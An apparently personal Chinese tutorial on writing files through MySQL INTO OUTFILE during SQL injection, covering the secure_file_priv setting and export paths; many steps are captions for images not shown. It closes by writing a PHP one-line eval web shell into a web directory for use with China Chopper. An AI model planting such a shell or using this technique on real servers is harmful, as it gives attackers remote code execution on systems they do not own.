sql注入下的outfile
一、关于写入本地文件类型注入的思考
secure_file_priv="/"
secure_file_priv 的开关问题
默认情况下:
我们查一下这个secure_file_priv得到下面的结果
可以看到,本地value的值为NULL。NULL代表什么意思呢?经查资料:
(1)NULL,表示禁止。
(2)如果value值有文件夹目录,则表示只允许该目录下文件(PS:测试子目录也不行)。
(3)如果为空,则表示不限制目录。
因为在my.ini的配置文件下没有secure_file_priv所以有一下解决的方案:
1.secure_file_priv=
让这个值等于空,此后就可以指定任意存储路径(便于我们的日后寻找)
修改配置文件:
修改后的结果:
再尝试导入文件:
查看对应路径下的结果:
关于路径的书写:
第一次写错的情况:
正确的结果:
最终结果:
- secure_file_priv=“指定路径”
2.1当secure_file_priv=“\”时的情况
该情况下为导出在当前目录
因此分别用dos命令下、navicat、和web三种方式导出对比:
2.1.1命令行下的结果:
看看文件的位置:
因为在命令行下没有指定数据库,所以直接在data(默认)下直接建立一个文件
指定数据库的情况:
Ps:其实navicat下的结果和命令行差不多,就不在这里赘述了
2.1.2web下的结果
为什么考虑web呢?哪有那么多为什么!哼......
结果:
Okk进入正题了
现在成功的将文件写入到文件目录,我们写了一句话木马
<?php @eval(_post[“crow”]);?>
到文件中,然后使用中国菜刀试试